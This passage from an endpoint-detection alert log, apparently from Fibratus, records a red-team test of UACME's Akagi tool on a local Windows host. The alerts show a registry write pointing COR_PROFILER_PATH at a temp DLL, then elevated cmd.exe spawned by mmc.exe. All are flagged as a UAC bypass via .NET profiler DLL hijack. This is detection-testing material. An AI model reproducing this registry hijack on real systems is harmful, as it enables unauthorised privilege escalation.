Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1878198 + Pid: 6764 + Tid: 5200 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:49:37.9064817 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 425fef000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fb567b080, name➜ cmd.exe, pid➜ 17776, ppid➜ 6764, real_ppid➜ 6764, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:49:37.9064337 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6764 + Ppid: 6732 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T15:49:48+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1881185 + Pid: 1704 + Tid: 8072 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:49:47.1333157 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508d7db52f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1704 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1883425 + Pid: 1636 + Tid: 15428 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 15:49:48.1180845 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 44a71000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fc4a37080, name➜ cmd.exe, pid➜ 16212, ppid➜ 1636, real_ppid➜ 1636, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 15:49:48.1180153 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1636 + Ppid: 1704 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T15:49:59+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1886662 + Pid: 9092 + Tid: 15804 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:49:58.0085111 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508d7db52f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9092 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program 